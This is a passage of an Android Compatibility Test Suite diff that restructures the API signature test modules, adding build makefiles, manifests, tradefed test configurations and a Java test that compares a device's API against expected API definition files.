+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          package="android.signature.cts.api.current">
+    <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
+    <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
+
+    <application/>
+
+    <instrumentation android:name="repackaged.android.test.InstrumentationTestRunner"
+                     android:targetPackage="android.signature.cts.api.current"
+                     android:label="Current API Signature Test"/>
+
+</manifest>
diff --git a/tests/signature/api-check/current-api/AndroidTest.xml b/tests/signature/api-check/current-api/AndroidTest.xml
new file mode 100644
index 0000000..29dfe6d
--- /dev/null
+++ b/tests/signature/api-check/current-api/AndroidTest.xml
@@ -0,0 +1,43 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for CTS Current API Signature test cases">
+    <option name="config-descriptor:metadata" key="component" value="systems" />
+    <option name="not-shardable" value="true" />
+    <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
+        <option name="run-command" value="mkdir -p /data/local/tmp/signature-test" />
+        <option name="teardown-command" value="rm -rf /data/local/tmp/signature-test" />
+    </target_preparer>
+    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
+        <option name="push" value="current.api->/data/local/tmp/signature-test/current.api" />
+    </target_preparer>
+    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
+        <option name="push" value="android-test-mock-current.api->/data/local/tmp/signature-test/android-test-mock-current.api" />
+    </target_preparer>
+    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
+        <option name="push" value="android-test-runner-current.api->/data/local/tmp/signature-test/android-test-runner-current.api" />
+    </target_preparer>
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsCurrentApiSignatureTestCases.apk" />
+    </target_preparer>
+    <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+        <option name="package" value="android.signature.cts.api.current" />
+        <option name="runner" value="repackaged.android.test.InstrumentationTestRunner" />
+        <option name="instrumentation-arg" key="expected-api-files" value="current.api" />
+        <option name="instrumentation-arg" key="unexpected-api-files" value="android-test-mock-current.api,android-test-runner-current.api" />
+        <option name="runtime-hint" value="30s" />
+    </test>
+</configuration>
diff --git a/tests/signature/api-check/legacy-test-26-api/Android.mk b/tests/signature/api-check/legacy-test-26-api/Android.mk
new file mode 100644
index 0000000..699bd0c
--- /dev/null
+++ b/tests/signature/api-check/legacy-test-26-api/Android.mk
@@ -0,0 +1,24 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_PACKAGE_NAME := CtsLegacyTest26ApiSignatureTestCases
+
+LOCAL_SIGNATURE_API_FILES := \
+    legacy-test-current.api \
+
+include $(LOCAL_PATH)/../build_signature_apk.mk
diff --git a/tests/signature/api-check/legacy-test-26-api/AndroidManifest.xml b/tests/signature/api-check/legacy-test-26-api/AndroidManifest.xml
new file mode 100644
index 0000000..636dfd3
--- /dev/null
+++ b/tests/signature/api-check/legacy-test-26-api/AndroidManifest.xml
@@ -0,0 +1,31 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          package="android.signature.cts.api.legacy_test_26">
+    <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
+    <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
+
+    <uses-sdk android:minSdkVersion="25" android:targetSdkVersion="26"/>
+
+    <application/>
+
+    <instrumentation android:name="repackaged.android.test.InstrumentationTestRunner"
+                     android:targetPackage="android.signature.cts.api.legacy_test_26"
+                     android:label="Legacy Test 26 API Signature Test"/>
+
+</manifest>
diff --git a/tests/signature/api-check/legacy-test-26-api/AndroidTest.xml b/tests/signature/api-check/legacy-test-26-api/AndroidTest.xml
new file mode 100644
index 0000000..ecb3299
--- /dev/null
+++ b/tests/signature/api-check/legacy-test-26-api/AndroidTest.xml
@@ -0,0 +1,35 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for CTS Legacy Test 26 API Signature test cases">
+    <option name="config-descriptor:metadata" key="component" value="systems" />
+    <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
+        <option name="run-command" value="mkdir -p /data/local/tmp/signature-test" />
+        <option name="teardown-command" value="rm -rf /data/local/tmp/signature-test" />
+    </target_preparer>
+    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
+        <option name="push" value="legacy-test-current.api->/data/local/tmp/signature-test/legacy-test-current.api" />
+    </target_preparer>
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsLegacyTest26ApiSignatureTestCases.apk" />
+    </target_preparer>
+    <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+        <option name="package" value="android.signature.cts.api.legacy_test_26" />
+        <option name="runner" value="repackaged.android.test.InstrumentationTestRunner" />
+        <option name="instrumentation-arg" key="expected-api-files" value="legacy-test-current.api" />
+        <option name="runtime-hint" value="5s" />
+    </test>
+</configuration>
diff --git a/tests/signature/api-check/src/android/signature/cts/api/SignatureTest.java b/tests/signature/api-check/src/android/signature/cts/api/SignatureTest.java
new file mode 100644
index 0000000..3473cfd
--- /dev/null
+++ b/tests/signature/api-check/src/android/signature/cts/api/SignatureTest.java
@@ -0,0 +1,188 @@
+/*
+ * Copyright (C) 2011 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.signature.cts.api;
+
+import android.os.Bundle;
+import android.signature.cts.ApiDocumentParser;
+import android.signature.cts.ApiComplianceChecker;
+import android.signature.cts.FailureType;
+import android.signature.cts.JDiffClassDescription;
+import android.signature.cts.ReflectionHelper;
+import android.signature.cts.ResultObserver;
+import java.io.File;
+import java.io.FileInputStream;
+import java.io.IOException;
+import java.util.Comparator;
+import java.util.HashSet;
+import java.util.Set;
+import java.util.TreeSet;
+import org.xmlpull.v1.XmlPullParserException;
+import repackaged.android.test.InstrumentationTestCase;
+import repackaged.android.test.InstrumentationTestRunner;
+
+import static android.signature.cts.CurrentApi.API_FILE_DIRECTORY;
+
+/**
+ * Performs the signature check via a JUnit test.
+ */
+public class SignatureTest extends InstrumentationTestCase {
+
+    private static final String TAG = SignatureTest.class.getSimpleName();
+
+    /**
+     * A set of class names that are inaccessible for some reason.
+     */
+    private static final Set<String> KNOWN_INACCESSIBLE_CLASSES = new HashSet<>();
+
+    static {
+        // TODO(b/63383787) - These classes, which are nested annotations with @Retention(SOURCE)
+        // are removed from framework.dex for an as yet unknown reason.
+        KNOWN_INACCESSIBLE_CLASSES.add("android.content.pm.PackageManager.PermissionFlags");
+        KNOWN_INACCESSIBLE_CLASSES.add("android.hardware.radio.ProgramSelector.IdentifierType");
+        KNOWN_INACCESSIBLE_CLASSES.add("android.hardware.radio.ProgramSelector.ProgramType");
+        KNOWN_INACCESSIBLE_CLASSES.add("android.hardware.radio.RadioManager.Band");
+        KNOWN_INACCESSIBLE_CLASSES.add("android.os.UserManager.UserRestrictionSource");
+        KNOWN_INACCESSIBLE_CLASSES.add(
+                "android.service.persistentdata.PersistentDataBlockManager.FlashLockState");
+    }
+
+    private TestResultObserver mResultObserver;
+
+    private String[] expectedApiFiles;
+    private String[] unexpectedApiFiles;
+
+    private class TestResultObserver implements ResultObserver {
+
+        boolean mDidFail = false;
+
+        StringBuilder mErrorString = new StringBuilder();
+
+        @Override
+        public void notifyFailure(FailureType type, String name, String errorMessage) {
+            mDidFail = true;
+            mErrorString.append("\n");
+            mErrorString.append(type.toString().toLowerCase());
+            mErrorString.append(":\t");
+            mErrorString.append(name);
+            mErrorString.append("\tError: ");
+            mErrorString.append(errorMessage);
+        }
+    }
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        mResultObserver = new TestResultObserver();
+
+        // Get the arguments passed to the instrumentation.
+        Bundle instrumentationArgs =
+                ((InstrumentationTestRunner) getInstrumentation()).getArguments();
+
+        expectedApiFiles = getCommaSeparatedList(instrumentationArgs, "expected-api-files");
+        unexpectedApiFiles = getCommaSeparatedList(instrumentationArgs, "unexpected-api-files");
+    }
+
+    private String[] getCommaSeparatedList(Bundle instrumentationArgs, String key) {
+        String argument = instrumentationArgs.getString(key);
+        if (argument == null) {
+            return new String[0];
+        }
+        return argument.split(",");
+    }
+
+    /**
+     * Tests that the device's API matches the expected set defined in xml.
+     * <p/>
+     * Will check the entire API, and then report the complete list of failures
+     */
+    public void testSignature() {
+        try {
+            Set<JDiffClassDescription> unexpectedClasses = loadUnexpectedClasses();
+            for (JDiffClassDescription classDescription : unexpectedClasses) {
+                Class<?> unexpectedClass = findUnexpectedClass(classDescription);
+                if (unexpectedClass != null) {
+                    mResultObserver.notifyFailure(
+                            FailureType.UNEXPECTED_CLASS,
+                            classDescription.getAbsoluteClassName(),
+                            "Class should not be accessible to this APK");
+                }
+            }
+
+            ApiComplianceChecker complianceChecker = new ApiComplianceChecker(mResultObserver);
+            ApiDocumentParser apiDocumentParser = new ApiDocumentParser(
+                    TAG, new ApiDocumentParser.Listener() {
+                @Override
+                public void completedClass(JDiffClassDescription classDescription) {
+                    // Ignore classes that are known to be inaccessible.
+                    if (KNOWN_INACCESSIBLE_CLASSES.contains(classDescription.getAbsoluteClassName())) {
+                        return;
+                    }
+
+                    // Ignore unexpected classes that are in the API definition.
+                    if (!unexpectedClasses.contains(classDescription)) {
+                        complianceChecker.checkSignatureCompliance(classDescription);
+                    }
+                }
+            });
+
+            for (String expectedApiFile : expectedApiFiles) {
+                File file = new File(API_FILE_DIRECTORY + "/" + expectedApiFile);
+                apiDocumentParser.parse(new FileInputStream(file));
+            }
+        } catch (Exception e) {
+            mResultObserver.notifyFailure(FailureType.CAUGHT_EXCEPTION, e.getMessage(),
+                    e.getMessage());
+        }
+        if (mResultObserver.mDidFail) {
+            StringBuilder errorString = mResultObserver.mErrorString;
+            ClassLoader classLoader = getClass().getClassLoader();
+            errorString.append("\nClassLoader hierarchy\n");
+            while (classLoader != null) {
+                errorString.append("    ").append(classLoader).append("\n");
+                classLoader = classLoader.getParent();
+            }
+            fail(errorString.toString());
+        }
+    }
+
+    private Class<?> findUnexpectedClass(JDiffClassDescription classDescription) {
+        try {
+            return ReflectionHelper.findMatchingClass(classDescription);
+        } catch (ClassNotFoundException e) {
+            return null;
+        }
+    }
+
+    private Set<JDiffClassDescription> loadUnexpectedClasses()
+            throws IOException, XmlPullParserException {
+
+        Set<JDiffClassDescription> unexpectedClasses = new TreeSet<>(
+                Comparator.comparing(JDiffClassDescription::getAbsoluteClassName));
+        ApiDocumentParser apiDocumentParser = new ApiDocumentParser(TAG,
+                new ApiDocumentParser.Listener() {
+                    @Override
+                    public void completedClass(JDiffClassDescription classDescription) {
+                        unexpectedClasses.add(classDescription);
+                    }
+                });
+        for (String expectedApiFile : unexpectedApiFiles) {
+            File file = new File(API_FILE_DIRECTORY + "/" + expectedApiFile);
+            apiDocumentParser.parse(new FileInputStream(file));
+        }
+        return unexpectedClasses;
+    }
+}
diff --git a/tests/signature/api-check/system-current-api/Android.mk b/tests/signature/api-check/system-current-api/Android.mk
new file mode 100644
index 0000000..1c10d2c
--- /dev/null
+++ b/tests/signature/api-check/system-current-api/Android.mk
@@ -0,0 +1,26 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_PACKAGE_NAME := CtsSystemCurrentApiSignatureTestCases
+
+LOCAL_SIGNATURE_API_FILES := \
+    system-current.api \
+    android-test-mock-current.api \
+    android-test-runner-current.api \
+
+include $(LOCAL_PATH)/../build_signature_apk.mk
diff --git a/tests/signature/api-check/system-current-api/AndroidManifest.xml b/tests/signature/api-check/system-current-api/AndroidManifest.xml
new file mode 100644
index 0000000..d678c4b
--- /dev/null
+++ b/tests/signature/api-check/system-current-api/AndroidManifest.xml
@@ -0,0 +1,29 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          package="android.signature.cts.api.system_current">
+    <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
+    <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
+
+    <application/>
+
+    <instrumentation android:name="repackaged.android.test.InstrumentationTestRunner"
+                     android:targetPackage="android.signature.cts.api.system_current"
+                     android:label="System Current API Signature Test"/>
+
+</manifest>
diff --git a/tests/signature/api-check/system-current-api/AndroidTest.xml b/tests/signature/api-check/system-current-api/AndroidTest.xml
new file mode 100644
index 0000000..6bf641a
--- /dev/null
+++ b/tests/signature/api-check/system-current-api/AndroidTest.xml
@@ -0,0 +1,42 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for CTS System Current API Signature test cases">
+    <option name="config-descriptor:metadata" key="component" value="systems" />
+    <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
+        <option name="run-command" value="mkdir -p /data/local/tmp/signature-test" />
+        <option name="teardown-command" value="rm -rf /data/local/tmp/signature-test" />
+    </target_preparer>
+    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
+        <option name="push" value="system-current.api->/data/local/tmp/signature-test/system-current.api" />
+    </target_preparer>
+    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
+        <option name="push" value="android-test-mock-current.api->/data/local/tmp/signature-test/android-test-mock-current.api" />
+    </target_preparer>
+    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
+        <option name="push" value="android-test-runner-current.api->/data/local/tmp/signature-test/android-test-runner-current.api" />
+    </target_preparer>
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsSystemCurrentApiSignatureTestCases.apk" />
+    </target_preparer>
+    <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+        <option name="package" value="android.signature.cts.api.system_current" />
+        <option name="runner" value="repackaged.android.test.InstrumentationTestRunner" />
+        <option name="instrumentation-arg" key="expected-api-files" value="system-current.api" />
+        <option name="instrumentation-arg" key="unexpected-api-files" value="android-test-mock-current.api,android-test-runner-current.api" />
+        <option name="runtime-hint" value="30s" />
+    </test>
+</configuration>
diff --git a/tests/signature/api/Android.mk b/tests/signature/api/Android.mk
index fed7d66..71e33ae 100644
--- a/tests/signature/api/Android.mk
+++ b/tests/signature/api/Android.mk
@@ -14,7 +14,7 @@
 
 # We define this in a subdir so that it won't pick up the parent's Android.xml by default.
 
-LOCAL_PATH:= $(call my-dir)
+LOCAL_PATH := $(call my-dir)
 include $(CLEAR_VARS)
 
 # current api, in XML format.
@@ -23,35 +23,63 @@
 # by com.android.cts.managedprofile.CurrentApiHelper
 # ============================================================
 include $(CLEAR_VARS)
+
 LOCAL_MODULE := cts-current-api
 LOCAL_MODULE_STEM := current.api
-LOCAL_MODULE_CLASS := ETC
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_ETC)
+LOCAL_SRC_FILES := frameworks/base/api/current.txt
 
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+include $(LOCAL_PATH)/build_xml_api_file.mk
 
-include $(BUILD_SYSTEM)/base_rules.mk
-$(LOCAL_BUILT_MODULE) : frameworks/base/api/current.txt | $(APICHECK)
-	@echo "Convert API file $@"
-	@mkdir -p $(dir $@)
-	$(hide) $(APICHECK_COMMAND) -convert2xml $< $@
-
-include $(CLEAR_VARS)
-
-# current api, in XML format.
+# current system api, in XML format.
 # ============================================================
 include $(CLEAR_VARS)
 LOCAL_MODULE := cts-system-current-api
 LOCAL_MODULE_STEM := system-current.api
-LOCAL_MODULE_CLASS := ETC
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_ETC)
+LOCAL_SRC_FILES := frameworks/base/api/system-current.txt
 
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+include $(LOCAL_PATH)/build_xml_api_file.mk
 
-include $(BUILD_SYSTEM)/base_rules.mk
-$(LOCAL_BUILT_MODULE) : frameworks/base/api/system-current.txt | $(APICHECK)
-	@echo "Convert API file $@"
-	@mkdir -p $(dir $@)
-	$(hide) $(APICHECK_COMMAND) -convert2xml $< $@
+# removed system api, in XML format.
+# ============================================================
+include $(CLEAR_VARS)
+LOCAL_MODULE := cts-system-removed-api
+LOCAL_MODULE_STEM := system-removed.api
+LOCAL_SRC_FILES := frameworks/base/api/system-removed.txt
+
+include $(LOCAL_PATH)/build_xml_api_file.mk
+
+# current legacy-test api, in XML format.
+# ============================================================
+include $(CLEAR_VARS)
+LOCAL_MODULE := cts-legacy-test-current-api
+LOCAL_MODULE_STEM := legacy-test-current.api
+LOCAL_SRC_FILES := frameworks/base/legacy-test/api/legacy-test-current.txt
+
+include $(LOCAL_PATH)/build_xml_api_file.mk
+
+# current android-test-mock api, in XML format.
+# ============================================================
+include $(CLEAR_VARS)
+LOCAL_MODULE := cts-android-test-mock-current-api
+LOCAL_MODULE_STEM := android-test-mock-current.api
+LOCAL_SRC_FILES := frameworks/base/test-runner/api/android-test-mock-current.txt
+
+include $(LOCAL_PATH)/build_xml_api_file.mk
+
+# current android-test-runner api, in XML format.
+# ============================================================
+include $(CLEAR_VARS)
+LOCAL_MODULE := cts-android-test-runner-current-api
+LOCAL_MODULE_STEM := android-test-runner-current.api
+LOCAL_SRC_FILES := frameworks/base/test-runner/api/android-test-runner-current.txt
+
+include $(LOCAL_PATH)/build_xml_api_file.mk
+
+# current apache-http-legacy api, in XML format.
+# ==============================================
+include $(CLEAR_VARS)
+LOCAL_MODULE := cts-apache-http-legacy-current-api
+LOCAL_MODULE_STEM := apache-http-legacy-current.api
+LOCAL_SRC_FILES := external/apache-http/api/apache-http-legacy-current.txt
+
+include $(LOCAL_PATH)/build_xml_api_file.mk
diff --git a/tests/signature/api/build_xml_api_file.mk b/tests/signature/api/build_xml_api_file.mk
new file mode 100644
index 0000000..f5468bb
--- /dev/null
+++ b/tests/signature/api/build_xml_api_file.mk
@@ -0,0 +1,36 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+# Specify the following 3 variables before including:
+#
+#     LOCAL_MODULE_STEM
+#         the name of the file to generate, e.g. current.api
+#
+#     LOCAL_MODULE
+#         the name of the module - must be unique
+#
+#     LOCAL_SRC_FILES
+#         the name of the source api txt file - only one file allowed
+
+LOCAL_MODULE_CLASS := ETC
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_ETC)
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+include $(BUILD_SYSTEM)/base_rules.mk
+$(LOCAL_BUILT_MODULE) : ${LOCAL_SRC_FILES} | $(APICHECK)
+	@echo "Convert API file $< -> $@"
+	@mkdir -p $(dir $@)
+	$(hide) $(APICHECK_COMMAND) -convert2xmlnostrip $< $@
diff --git a/tests/signature/intent-check/Android.mk b/tests/signature/intent-check/Android.mk
new file mode 100644
index 0000000..c251c3f
--- /dev/null
+++ b/tests/signature/intent-check/Android.mk
@@ -0,0 +1,35 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+include $(CLEAR_VARS)
+
+# don't include this package in any target
+LOCAL_MODULE_TAGS := optional
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+
+LOCAL_PACKAGE_NAME := CtsIntentSignatureTestCases
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+LOCAL_SDK_VERSION := current
+
+LOCAL_STATIC_JAVA_LIBRARIES := \
+    compatibility-device-util \
+    android-support-test \
+    cts-signature-common \
+
+include $(BUILD_CTS_PACKAGE)
diff --git a/tests/signature/intent-check/AndroidManifest.xml b/tests/signature/intent-check/AndroidManifest.xml
new file mode 100644
index 0000000..a444350
--- /dev/null
+++ b/tests/signature/intent-check/AndroidManifest.xml
@@ -0,0 +1,31 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          package="android.signature.cts.intent">
+    <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
+    <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
+
+    <application>
+        <uses-library android:name="android.test.runner"/>
+    </application>
+
+    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+                     android:targetPackage="android.signature.cts.intent"
+                     android:label="Intent Signature Test"/>
+
+</manifest>
diff --git a/tests/signature/intent-check/AndroidTest.xml b/tests/signature/intent-check/AndroidTest.xml
new file mode 100644
index 0000000..da6895b
--- /dev/null
+++ b/tests/signature/intent-check/AndroidTest.xml
@@ -0,0 +1,51 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for CTS Intent Signature test cases">
+    <option name="config-descriptor:metadata" key="component" value="systems" />
+    <option name="not-shardable" value="true" />
+    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.DynamicConfigPusher">
+        <option name="target" value="device" />
+        <option name="config-filename" value="CtsIntentSignatureTestCases" />
+        <option name="version" value="1.0" />
+    </target_preparer>
+    <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
+        <option name="run-command" value="mkdir -p /data/local/tmp/signature-test-packages" />
+        <option name='run-command'
+            value='pm list packages | while read a; do dumpsys package ${a#"package:"} > /data/local/tmp/signature-test-packages/${a#"package:"}.txt; done' />
+        <option name="teardown-command" value="mkdir -p /data/local/tmp/signature-test-packages" />
+    </target_preparer>
+    <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
+        <option name="run-command" value="mkdir -p /data/local/tmp/signature-test" />
+        <option name="teardown-command" value="rm -rf /data/local/tmp/signature-test" />
+    </target_preparer>
+    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
+        <option name="push" value="current.api->/data/local/tmp/signature-test/current.api" />
+    </target_preparer>
+    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
+        <option name="push" value="system-current.api->/data/local/tmp/signature-test/system-current.api" />
+    </target_preparer>
+    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
+        <option name="push" value="system-removed.api->/data/local/tmp/signature-test/system-removed.api" />
+    </target_preparer>
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsIntentSignatureTestCases.apk" />
+    </target_preparer>
+    <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+        <option name="package" value="android.signature.cts.intent" />
+        <option name="runtime-hint" value="10s" />
+    </test>
+</configuration>
diff --git a/tests/signature/DynamicConfig.xml b/tests/signature/intent-check/DynamicConfig.xml
similarity index 100%
rename from tests/signature/DynamicConfig.xml
rename to tests/signature/intent-check/DynamicConfig.xml
diff --git a/tests/signature/intent-check/src/android/signature/cts/intent/IntentTest.java b/tests/signature/intent-check/src/android/signature/cts/intent/IntentTest.java
new file mode 100644
index 0000000..2f551dc
--- /dev/null
+++ b/tests/signature/intent-check/src/android/signature/cts/intent/IntentTest.java
@@ -0,0 +1,197 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.signature.cts.intent;
+
